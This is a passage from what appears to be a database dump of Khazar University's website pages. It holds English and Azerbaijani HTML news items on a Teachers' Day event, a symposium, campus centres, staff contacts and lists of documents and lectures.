style=\"border:0px  #000000;width:30px;height:30px;margin-left:7px;margin-top:7px;margin-bottom:7px;float:left\"></p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;&nbsp; &nbsp;<a href=\"https://www.facebook.com/kumultimediacenter/?ref=bookmarks\" target=\"_blank\">Media Center of Khazar University</a></p><p style=\"font-family:arial, helvetica, sans-serif\"><img src=\"http://www.khazar.org/files/multimedia/MetroUI%20YouTube.ico\" style=\"border:0px  #000000;width:35px;height:35px;margin:7px;float:left\"></p><p style=\"font-family:arial, helvetica, sans-serif\"><a href=\"https://www.youtube.com/channel/UCk54XSjlo8u5PXtzACWqL6g\" target=\"_blank\">Media Center of Khazar University&nbsp;TV</a></p>'),(2259,1379,'en','Teachers’ Day Celebration at Dunya School with Binagadi District Executive Power','On October 4, 2016, an International Teachers’ Day (October 5th) Celebration was held at Khazar University’s affiliate Dunya School...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On October 4, 2016, an International Teachers’ Day (October 5<sup>th</sup>)\r\nCelebration was held at Khazar University’s affiliate Dunya School together\r\nwith the Binagadi District Executive Power and the Republic Committee of the\r\nAzerbaijan Educational Workers’ Free Trade Union. Participants in the event\r\nincluded Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees; Aygun Aliyeva, Deputy Head of\r\nthe Binagadi District Executive Power; Mirza Jafarzada, Deputy Chair of the\r\nRepublic Committee of the Azerbaijan Educational Workers’ Free Trade Union;\r\nHuseyn Asgarov, Deputy Head of the Baku Board of Education; Asef Zamanov,\r\nChairman of the Society of Intellectuals of Binagadi District; Haji Ismayilov,\r\nAzerbaijani theater and movie actor, People’s artist, and Deputy Chair of the\r\nCreative Committee of the Azerbaijani Theater Workers’ Guild; employees of\r\nDunya School; faculty and administrative members of schools and preschools in\r\nthe Binagadi District; and active young members of the New Azerbaijan Party. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Professor Hamlet Isaxanli made a speech at the event in which\r\nhe noted that there is a large labor force of teachers in Azerbaijan today. He\r\nstated almost every family has a member who is a teacher or has some connection\r\nto teachers and students. He spoke about the significant role that teachers\r\nplay in society, saying that teaching is one of the most honorable professions\r\nin the world and that plans are being made in Azerbaijan and in other parts of\r\nthe world to improve the well-being of teachers. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Then Mirza Jafarzada, Deputy Chair of the Republic Committee\r\nof the Azerbaijan Educational Workers’ Free Trade Union, made a speech noting\r\nthat measures are being taken to ensure good working conditions and better\r\nsocial security for teachers in our country today. He also said that everyone\r\nshould honor and take care of teachers regardless of their workplace or\r\nposition. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Huseyn Asgarov, Deputy Head of the Baku Board of Education,\r\nalso made a speech stating that in today’s world in which everything depends on\r\neducation and science, the strength of Azerbaijan rests on the strength of its\r\nteachers. He also emphasized that Azerbaijan has a wonderful and strong corps\r\nof teachers. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Then People’s Artist Haji Ismayilov made an unforgettable\r\nspeech about teacher roles he has played, memories of his high school days, and\r\nhis desire for increased knowledge among our society. At the end of his speech,\r\nhe bowed to thank the teachers in attendance. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Aygun Aliyeva, Deputy Head of the Binagadi District Executive\r\nPower, spoke to congratulate the teachers on their holiday. She said that in\r\nrecent years, significant achievements have been made in our country in the field\r\nof education as well as in other fields. She emphasized the importance of\r\neducation and schools in the upbringing of the next generation, saying that the\r\ndevelopments in this field are clear proof of the effectiveness of President\r\nIlham Aliyev’s education policies. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The Khazar University Chamber Orchestra also performed\r\nclassical music at the Teachers’ Day celebration.&nbsp;</p>'),(2258,1379,'az','Binəqədi Rayon İcra Hakimiyyəti və “Dünya” məktəbi Müəllimlər Gününü qeyd etdi','2016-cı il oktyabrın 4-də Beynəlxalq Müəllimlər Günü münasibətilə Binəqədi Rayon İcra Hakimiyyəti, Azad Həmkarlar İttifaqının Respublika Komitəsi...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il oktyabrın 4-də 5 oktyabr&nbsp;Beynəlxalq Müəllimlər Günü münasibətilə “Dünya” məktəbinin konfrans\r\nsalonunda Binəqədi Rayon İcra Hakimiyyəti, Azərbaycan Təhsil İşçiləri Azad Həmkarlar\r\nİttifaqının Respublika Komitəsi və “Dünya” məktəbinin birlikdə hazırladığı\r\nbayram tədbiri keçirildi.&nbsp;Tədbirdə Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Binəqədi\r\nRayon İcra Hakimiyyəti başçısının müavini Aygün Əliyeva, Azərbaycan Təhsil İşçiləri\r\nAzad Həmkarlar İttifaqının Respublika Komitəsinin sədr müavini Mirzə Cəfərzadə,\r\nBakı Baş Təhsil İdarəsinin rəisinin\r\nmüavini Hüseyn Əsgərov, Binəqədi rayon “Ziyalılar” cəmiyyətinin sədri Asəf\r\nZamanov, Azərbaycanın teatr və kino aktyoru, xalq artisti, Azərbaycan Teatr\r\nXadimləri İttifaqının yaradıcılıq üzrə sədr müavini Hacı İsmayılov, “Dünya” məktəbinin\r\nkollektivi, Binəqədi Rayonunda fəaliyyət göstərən məktəb və bağçaların müəllim-rəhbər\r\nheyəti, Yeni Azərbaycan Partiyasının fəal gəncləri iştirak edirdilər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Tədbirdə təbriklə çıxış edən professor Hamlet İsaxanlı bu gün\r\nAzərbaycanda böyük müəllim ordusunun yarandığını qeyd etdi. Natiq bildirdi ki,\r\ndemək olar ki, hər ailədə müəllim var və hər ailə müəllim-şagirdlərlə bağlıdır.\r\nMüəllimin cəmiyyət həyatında mühüm rolundan bəhs edən professor İsaxanlı müəllimliyin\r\ndünyada ən şərəfli vəzifə olduğunu, bu gün dünyanın hər yerində müəllimlərə\r\nxüsusi qayğı göstərildiyini, ölkəmizdə də müəllimlərin rifahının daha da\r\nyaxşılaşdırılması üçün xüsusi tədbirlər planı hazırlandığını qeyd etdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Daha sonra Azərbaycan\r\nTəhsil İşçiləri Azad Həmkarlar İttifaqının Respublika Komitəsinin sədr\r\nmüavini Mirzə Cəfərzadə çıxış edərək, qeyd etdi ki, bu gün respublikada təhsil\r\nişçilərinin normal şəraitdə işləməsi, onların sosial müdafiəsinin gücləndirilməsi\r\nüçün tədbirlər görülür. O, həmçinin bildirdi ki, harada, hansı vəzifədə işləməsindən\r\nasılı olmayaraq, hamı müəllimlərə qayğı və diqqət göstərməlidir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Tədbirdə müəllimləri təbrik edən Bakı Baş Təhsil İdarəsinin rəisinin müavini Hüseyn\r\nƏsgərov bildirdi ki, hər şeyin elmə-təhsilə söykəndiyi indiki dünyada Azərbaycan\r\ndövlətinin gücü, qüdrəti müəllimlərin gücündə və qüdrətindədir. O, eyni\r\nzamanda, bu gün Azərbaycanda gözəl və güclü müəllim ordusunun formalaşdığını da\r\nvurğuladı.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xalq artisti Hacı İsmayılovun çıxışı iştirakçılar üçün\r\nunudulmaz oldu. Aktyor oynadığı müəllim rolları haqqında danışdı, orta məktəb\r\nillərini xatırladı, bütün cəmiyyətimizə, xalqımıza birlik arzuladı. Çıxışının\r\nsonunda müəllimləri təbrik edən natiq onların qarşısında baş əydi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Binəqədi Rayon İcra Hakimiyyətinin başçısı adından müəllimləri\r\ntəbrik edən Rayon İcra Hakimiyyəti başçısının müavini Aygün Əliyeva son illər\r\nbir sıra sahələrdə olduğu kimi, ölkədə təhsil sahəsində də yaddaqalan uğurlar əldə\r\nedildiyini bildirdi. Aygün Əliyeva vurğuladı ki, Azərbaycanda yeni gənc nəslin\r\nyetişməsi və tərbiyə olunmasında təhsilin, məktəbin əhəmiyyəti, rolu çox\r\nböyükdür və bütün bu uğurlar Prezident İlham Əliyevin təhsil sahəsində apardığı\r\nsiyasətin məqsədyönlülüyünün bariz sübutudur.</p><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Müəllimlər Günü münasibətilə keçirilən tədbiri Xəzər Universitetinin Kamera orkestri özünün klassik musiqi ifaları ilə bəzədi.  <br></p>'),(1698,1056,'az',' Təsisçi beynəlxalq simpozuimda çıxış etdi','2016-cı il aprelin 29-dan mayın 1-dək Gəncə şəhərində Azərbaycan Texnologiya Universitetinin təşkilatçılığı ilə “Boloniya təhsil prosesində universitet-sənayə əlaqələrinin müasir problemləri” mövzusunda beynəlxalq simpozium keçirildi.','<p>2016-cı il aprelin 29-dan mayın 1-dək Gəncə şəhərində Azərbaycan Texnologiya Universitetinin təşkilatçılığı ilə “Boloniya təhsil prosesində universitet-sənayə əlaqələrinin müasir problemləri” mövzusunda beynəlxalq simpozium keçirildi.</p><p>Aprelin 30-dakı plenar iclasda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı universitet-sənaye münasibətlərinin inkişafı tarixi, Avropa və ABŞ-da universitetlərin missiyaları və texnoparklar, universitet-sənaye münasibətlərinin uğur qazanmasında universitet, sənaye müəssisələri və dövlət siyasətinin rolu haqqında məruzə etdi. H.İsaxanlı çıxışda Azərbaycan və onu əhatə edən bölgədə universitet-sənaye münasibətləri və texnoparkların problemləri haqqında da danışdı və Xəzər Universitetinin təcrübəsindən misallar göstərdi.</p><p>Tədbir media nümayəndəlikləri tərəfindən də işıqlandırılmışdır. Daha ətraflı məlumatı bu linklərdən əldə etmək olar:</p><p><a href=\"http://publika.az/p/134756\" target=\"_blank\">http://publika.az/p/134756</a>;</p><p><a href=\"http://az.trend.az/azerbaijan/society/2528222.html\" target=\"_blank\">http://az.trend.az/azerbaijan/society/2528222.html</a>.</p>'),(103,111,'en','Khazar Psychology Counselling Center','Khazar Psychology Counselling Center','<p><img src=\"http://www.khazar.org/files/social/16_04_15_DSC_2084.JPG\" style=\"border:0px  #000000;width:250px;height:165px;margin:7px;float:left\"><a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\">https://www.facebook.com/xezer.psixolojixidmet.merkezi</a>  <br></p><p style=\"text-align:justify\">The Khazar &nbsp;Psychological Counseling Center opened in 2016 and offers a variety of services to the Khazar community, from individual/group counseling to campus-wide educational programs that contribute not only to the growth and health of individual students, but also to academic programs in related fields, to campus life, and to the educational/cultural life of the region.</p>\r\n<p><strong><br></strong></p><p><strong>Our center offers help to:</strong></p><ul><li>People of all ages</li><li>A wide range of psychological problems</li><li>Companies and corporations (individual or group sessions)</li></ul><img src=\"http://www.khazar.org/files/psycho_depart/16_04_15_DSC_2072.JPG\" style=\"border:0px  #000000;float:left;width:250px;height:165px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p>Our team of specialists practicing at The Psychological Counseling and Psychotherapy Center are educated and trained in Europe and the USA and guarantee a high level of professionalism&nbsp;whilst maintaining full confidentiality for their patients. Guest specialists from developed countries regularly visit our center and provide short counseling and therapy sessions for the patients.</p><p>The specialists in our center deal with people experiencing various psychological and social problems which include the following:</p><ul><li>Marriage issues</li><li>Life coaching</li><li>Educational Coaching</li><li>Relationship issues</li><li>Career planning</li><li>Sexual issues</li></ul><h3><br></h3><h3>Contact</h3><p><img src=\"http://www.khazar.org/files/social/foto/melek.JPG\" style=\"border:0px #000000;width:140px;height:144px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><strong><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\">Malak Karimova</a></strong></strong></p><p><strong>Director of Khazar Psychological Center</strong></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <a href=\"http://mkerimova@khazar.org/\"></a></p><p><strong>Phone</strong>:&nbsp;(+994&nbsp;12) 421 10 93 (275)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(2457,1486,'az','Potensial məktəb direktorları layihəsi davam edir','Xəzər Universitetinin 2014-cü ilin sentyabrından başlayaraq, UNICEF (BMT Uşaq Fondu) və Təhsil Nazirliyinin maliyyə dəstəyi ilə birgə həyata keçirdiyi...','Xəzər\r\nUniversitetinin 2014-cü ilin sentyabrından başlayaraq, UNICEF (BMT Uşaq Fondu)\r\nvə Təhsil Nazirliyinin maliyyə dəstəyi ilə birgə həyata keçirdiyi “Potensial məktəb\r\ndirektorları” layihəsində təcrübəsini, bu layihə çərçivəsində keçirilən təlimlərin\r\nuğurla başa çatmasını, xeyli sayda pedaqoqun sözügedən təlimlərdə iştirakla\r\nbağlı çoxsaylı müraciətlərini nəzərə alaraq və Xəzər Universiteti Nizamnaməsinin\r\n1.27 maddəsini rəhbər tutaraq, Potensial məktəb direktorları layihəsini yeni V\r\nturda 43 nəfərlə davam etdirir. Dərslər həftənin üç günü “Neftçilər” kampusunda\r\nkeçirilir. Artıq 323 nəfəri təlim etmiş proqram davamlı olaraq, İnkişaf proqramı\r\nkimi ümumtəhsil müəllimlərinin geniş marağına səbəb olmuşdur.'),(104,112,'en','School of Project Management','School of Project Management','<div><br></div><div><img src=\"/files/demo/DSC_0022.jpg\" style=\"border:0px #000000;width:150px;height:98px;margin:7px;float:left\"></div><p><a href=\"http://www.spm.az/\">The School of Project Management </a>(SPM) was established by BP and its oil and gas Co-venturers with the vision of developing local project management expertise and capability within Azerbaijan, and implemented by Khazar University and ESI International. The SPM was launched on January 28, 2011 and is open to participants from leading private, public and international organizations as well as local businesses.</p><p>The School of Project Management offers top to middle managers of these organizations a training curriculum comprised of seven courses delivered by ESI\'s world class instructors. However, it is the objective of the SPM to introduce the use of local instructors who will be trained by ESI to deliver these courses in the future when the program becomes fully integrated into the Khazar University portfolio.</p><div><br></div><div>&nbsp;</div><div><br></div><div><br></div><div><br></div>'),(105,113,'en','Career Center','Career Center','<h3>Welcome to Career Center!</h3><p>The staff of Career Center is committed to assisting the undergraduate or graduate students, alumni or employer in finding Internships and job searching, career exploration, making career choices and professional application processes.</p><p>We offer workshops on resume and cover letter writing critiques, mock interviews and practice, career advising, a wide range of events of leadership and entrepreneurship, job fairs and business meetings.</p><p>On this page, you will find information about our mission, services, career exploration, job and internship opportunities.</p><strong><img src=\"http://www.khazar.org/files/career/fb.png\" style=\"width:30px;height:36px;margin-right:4px;float:left\"></strong><p><strong>Follow us on Facebook:&nbsp;</strong><strong><a href=\"https://www.facebook.com/KhazarUniversityCareerCenter/\">Khazar University Career Center</a></strong></p><p><br></p><p><br></p>'),(106,114,'en','Alumni Outreach Center ','Alumni Outreach Center ',''),(107,115,'en','Center for Cell Pathology Research ','Center for Cell Pathology Research ',''),(108,116,'en','MA Legal and Normative Documents','MA Legal and Normative Documents','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Legal and normative documents</strong></p><p><a href=\"http://www.khazar.org/files/master/Classification%20of%20MA%20studies%20(Azeri).doc\">Classification of MA programs&nbsp;(Azerbaijani)</a></p><p><a href=\"http://www.khazar.org/files/Khazar%20University%2CMA%20and%20PhD%20studies%202015-2016%20(Azeri).doc\"></a><a href=\"http://www.khazar.org/files/Law%20on%20MA%20studies%20(Azeri).docx\">Law on MA studies (Azerbaijani)</a></p><p><a href=\"http://www.khazar.org/files/Law%20on%20MA%20studies%20(Azeri).docx\"></a><a href=\"http://www.khazar.org/files/MA%20defense%20process%20(internal%2C%20Azeri)).doc\">MA defense process (internal, Azerbaijani)</a></p><p><a href=\"http://www.khazar.org/files/MA%20defense%20process%20(internal%2C%20Azeri)).doc\"></a><a href=\"http://www.khazar.org/files/Preparation%20of%20MA%20studies-Law%20(Azeri).docx\">Preparation of MA studies-Law (Azerbaijani)</a></p><p><a href=\"http://www.khazar.org/files/Preparation%20of%20MA%20studies-Law%20(Azeri).docx\"></a><a href=\"http://www.khazar.org/files/TOR%20on%20MA%20Dissertation%20Councils%20(Azeri).docx\">TOR on MA Dissertation Councils (Azerbaijani)</a></p><p><a href=\"http://www.khazar.org/files/TOR%20on%20MA%20Dissertation%20Councils%20(Azeri).docx\"></a><a href=\"http://www.khazar.org/files/master/TOR%20on%20preparation%20of%20MA%20dissertation.docx\">TOR on preparation of MA dissertation (Azerbaijani)</a>&nbsp;</p>'),(2013,1224,'en','A Short Film about “Dunya” School`s New Branch','As we informed, a new branch of Khazar University’s affiliate Dunya School has been recently opened in Sumgayit...','<div>As we informed, a new branch of Khazar University’s\r\naffiliate Dunya School&nbsp;has been recently opened in Sumgayit. A short film\r\nabout the opening of the new branch was posted on Youtube social network. </div>\r\n<div>To\r\nsee the film, visit the following link:</div>\r\n<div><a href=\"https://www.youtube.com/watch?v=d0IVoRzybEo&amp;feature=youtu.be\">https://www.youtube.com/watch?v=d0IVoRzybEo&amp;feature=youtu.be</a></div>'),(109,117,'en','Publications','Publications','<p><a href=\"http://www.khazar.org/files/Impact%20factor%20publication%20list-2011-2014.docx\">Impact factor publication list-2011-2014</a></p><p><a href=\"http://www.khazar.org/files/Rector%20and%20Vice%20Rectors-2007-2015.doc\">Rector and Vice Rectors-2007-2015</a><br></p><p><a href=\"http://www.khazar.org/files/School%20of%20Economics%20and%20Management-2007-2011.doc\">School of Economics and Management-2007-2011</a></p><p><a href=\"http://www.khazar.org/files/School%20of%20Education-2007-2011.doc\">School of Education-2007-2011</a></p><p><a href=\"http://www.khazar.org/files/School%20of%20Enginering%20and%20Applied%20Sciences-2007-2011.doc\">School of Enginering and Applied Sciences-2007-2011</a></p><p><a href=\"http://www.khazar.org/files/School%20of%20Humanities%20and%20Social%20Sciences-2007-2011.doc\">School of Humanities and Social Sciences-2007-2011</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/master/2011-2017%20PHD%20t%C9%99l%C9%99b%C9%99l%C9%99rin%20%C9%99s%C9%99rl%C9%99ri%20siyah%C4%B1s%C4%B1.docx\">PhD publications-2011-2017</a></p>'),(2009,1222,'en','Khazar University Faculty Member Writes a Book about Babak','In late 2015 Elekber Elekberov, instructor of the Department of History and Archeology, Khazar University, published a book entitled...','<p>In late 2015 Elekber Elekberov, instructor of\r\nthe Department of History and Archeology, Khazar University, published a book\r\nentitled “Babak (About the reasons of the&nbsp;Khurremi movement, the origin of\r\nthe hero)”. The book was dedicated to Babak Khorramdin, the historical figure, one\r\nof the leaders of the&nbsp;Khurremi movement.</p>'),(110,118,'en','Staff','Staff','<p><img src=\"http://www.khazar.org/files/philosophy_depart/eldar_s.jpg\" style=\"width:150px;height:199px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/letters/Eldar_Shahgeldiyev-elmi_meqaleler_2018(AAK).pdf\">Eldar&nbsp;Shahgaldiyev</a></strong></p><p><strong>Head&nbsp;Division of Graduate Studies and Research</strong>   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p style=\"font-weight:bold\"><strong><strong><a href=\"http://www.khazar.org/files/master/CV-Sabina_Sharifova.pdf\"><img src=\"http://www.khazar.org/files/master/sabina_sharifova.jpg\" style=\"width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Sabina Sharifova</a></strong></strong></p><p style=\"font-weight:bold\"><strong><strong><strong>Assistant</strong></strong></strong></p><p><strong style=\"font-weight:bold\">E-mail:<em>&nbsp;</em></strong><a href=\"mailto:lsalayeva@khazar.org\"></a><a href=\"mailto:ssharifova@khazar.org\">ssharifova[at]khazar.org</a></p>'),(111,119,'en','Documents','Documents','<div><p><br></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/List%20of%20documents%20for%20Higher%20Attestation%20Comission_.pdf\">List of documents for Higher Attestation Comission<br></a></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Organization%20of%20Masters%20studies%20_.docx\">Organization of Masters studies&nbsp;</a></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Organization%20of%20Masters%20studies%20_.docx\"></a><a href=\"http://www.khazar.org/files/Reference%20form%20for%20the%20persons%20who%20had%20not%20completed%20their%20studies%20for%20various%20reasons..docx\">Reference form for the persons who had not completed their studies for various reasons</a></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Reference%20form%20for%20the%20persons%20who%20had%20not%20completed%20their%20studies%20for%20various%20reasons..docx\"></a><a href=\"http://www.khazar.org/files/Remuneration%20for%20opponents%20in%20thesis%20defence%20_.docx\">Remuneration for opponents in thesis defence</a>&nbsp;</p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Remuneration%20procedure%20for%20PhD%20academic%20advisorsand%20supervisors_.doc\"></a><a href=\"http://www.khazar.org/files/Thesis%20structure_.doc\">Thesis structure</a></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/master/Doktoranturaya%20q%C9%99bul%20%C3%BC%C3%A7%C3%BCn%20s%C9%99n%C9%99dl%C9%99r.docx\">List of documents for PhD admission</a></p><br>  <br></div>'),(2400,1454,'en','School of Education Holds Meeting with Students Beginning Internships','On October 3, 2016, the Khazar University School of Education held a meeting with students about to begin passive pedagogical practice...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On October 3, 2016, the\r\nKhazar University School of Education held a meeting with students about to\r\nbegin passive pedagogical practice. Dr. Elza Semedli, Dean of the School; her\r\nassistants; and Goshgar Maharramov, Chair of the Department of Education, took\r\npart in the meeting. Students were given information about their training and\r\nreceived identity cards. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Dr. Semedli answered\r\nstudents’ questions and wished them success in the new academic year.&nbsp;</p>'),(2022,1229,'az','ABŞ-ın Azərbaycandakı səfiri “Imagine” komandası ilə görüşü','2016-cı il iyunun 22-də Amerika Birləşmiş Ştatlarının Azərbaycandakı səfiri cənab Robert Sekuta Xəzər Universitetinin...','<p>2016-cı il iyunun 22-də Amerika Birləşmiş Ştatlarının Azərbaycandakı səfiri cənab Robert\r\nSekuta Xəzər Universitetinin “Imagine” komandasının\r\nABŞ-a səfər edəcək beş üzvü və komanda lideri ilə görüş keçirdi. Məlum olduğu\r\nkimi, “Imagine” komandası P2P: Ekstremizmə qarşı Mübarizə Proqramında\r\niştirakları çərçivəsində hazırladıqları və həyata keçirdikləri marketinq\r\nkampaniyası ilə top finalçılardan biri seçilmişdir. P2P proqramında Xəzər\r\nUniversitetinin komandasının iştirakı Xəzər Universitetinin Beynəlxalq Əlaqələr\r\nŞöbəsi və İqtisadiyyat və menecment fakültəsi ilə birgə koordinasiya edilir. </p>\r\n<p>ABŞ səfirliyi\r\ntərəfindən görüş iştirakçıları İctimaiyyətlə əlaqələr şöbəsinin müdiri cənab <strong>Stefen Qays</strong>, Mədəniyyət\r\nüzrə attaşe Emi Petersen, Sosial şəbəkələr üzrə mütəxəssis cənab Uilk Nelson, İnzibati işlər\r\nüzrə assistent Venera Əliyeva və Məzunlarla iş üzrə koordinator Səbinə\r\nAbdullayeva idilər.</p>\r\n<p class=\"s2\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">“Imagine” komandası görüş iştirakçılarına\r\nhazırladıqları marketinq kampaniyalarının ümumi məzmununu təqdim etdi. Cənab səfir\r\nkomandanın ərsəyə gətirdiyi layihənin konseptini çox yüksək qiymətləndirdi və\r\nonları finalçılardan biri olmaqla qazandıqları nailiyyətə görə təbrik etdi.</p>\r\n<p class=\"s2\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Cənab Sekuta komandaya Vaşinqtonda hakimlər\r\nqarşısında keçiriləcək son təqdimatda uğur diləməklə yanaşı, vaxtlarını gözəl\r\nkeçirməyi də tövsiyə etdi. Komandanın lideri xanım Sana İmran “Imagine”\r\nkomandasına göstərilən dəstək üçün səfirə təşəkkür etdi və bu uğurun gələcəkdə davam\r\netdiriləcəyinə söz verdi. </p>\r\n<p class=\"s2\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Görüşün sonunda səfir Robert Sekuta ilə\r\nxatirə şəkli çəkildi.</p>\r\n<p class=\"s2\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Görüş haqqında məlumat ABŞ-ın\r\nAzərbaycandakı Səfirliyinin rəsmi <em>Facebook</em>\r\nsəhifəsində yerləşdirilmişdir:<a href=\"https://www.facebook.com/baku.usembassy/\">https://www.facebook.com/baku.usembassy/</a>.</p>'),(112,120,'en','General Reports','General Reports','<p><a href=\"http://www.khazar.org/files/demo/Activities%20concerning%20the%20implementation%20of%20the%20National%20Strategy%202009-2015%20(Azeri).docx\"><strong>Activities concerning the implementation of the National\r\nStrategy 2009-2015 (Azeri)</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Coimbra-Seminar%20Report-Eldar%20Shahgaldiyev_.doc\"><strong>Coimbra-Seminar Report-Eldar Shahgaldiyev</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Khazar%20University%20Academic%20report%202013%20(Azeri).doc\"><strong>Khazar University Academic report 2013 (Azeri)</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Khazar%20University%20Academic%20report%202014%20(Azeri).doc\"><strong>Khazar University Academic report 2014 (Azeri)</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Khazar%20University%20Academic%20report%202015%20(azeri).doc\"><strong>Khazar University Academic report 2015 (Azeri)</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Provision%20of%20academic%20honesty%202015%20(Azeri).docx\"><strong>Provision of academic honesty 2015 (Azeri)</strong></a></p><p><a href=\"http://www.khazar.org/files/master/1.ELMI%20HESABAT%202016%20(son).doc\"><strong>Khazar University Academic report 2016 (Azeri)</strong></a></p><p><a href=\"http://www.khazar.org/files/master/ELMI_HESABAT_2017.pdf\"><strong>Khazar University Academic report 2017 (Azeri)</strong></a></p>'),(113,121,'en','Lectures','Lectures','<p><strong style=\"font-size:large\">Prof.&nbsp;Hamlet Isakhanli&nbsp;\"History of Science\r\nand Philosophy: Ancient Times\"&nbsp;</strong></p><p><a href=\"http://www.khazar.org/files/demo/HI_history_science_philosophy_class1a.pdf\">Lecture 1 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP_class_1a_text.pdf\">Lecture 1 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HPS_Lecture_2.pdf\">Lecture 2 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture_2_text.pdf\">Lecture 2 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP_Lecture_3.pdf\">Lecture 3 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture%203%20Text.pdf\">Lecture 3 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture%204%20Presentation.pdf\">Lecture 4 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP_Lecture_4.pdf\">Lecture 4 Text </a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP_Lecture_5.pdf\">Lecture 5 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture_5.pdf\">Lecture 5 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture%206.pdf\">Lecture 6 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/lecture%206-PhD.pdf\">Lecture 6 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%207.pdf\">Lecture 7 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-7.pdf\">Lecture 7 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%208.pdf\">&nbsp;Lecture 8\r\nPresentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-8.pdf\">Lecture 8 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%209.pdf\">Lecture 9 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-9.pdf\">Lecture 9 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%2010.pdf\">Lecture 10 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-10.pdf\">Lecture 10 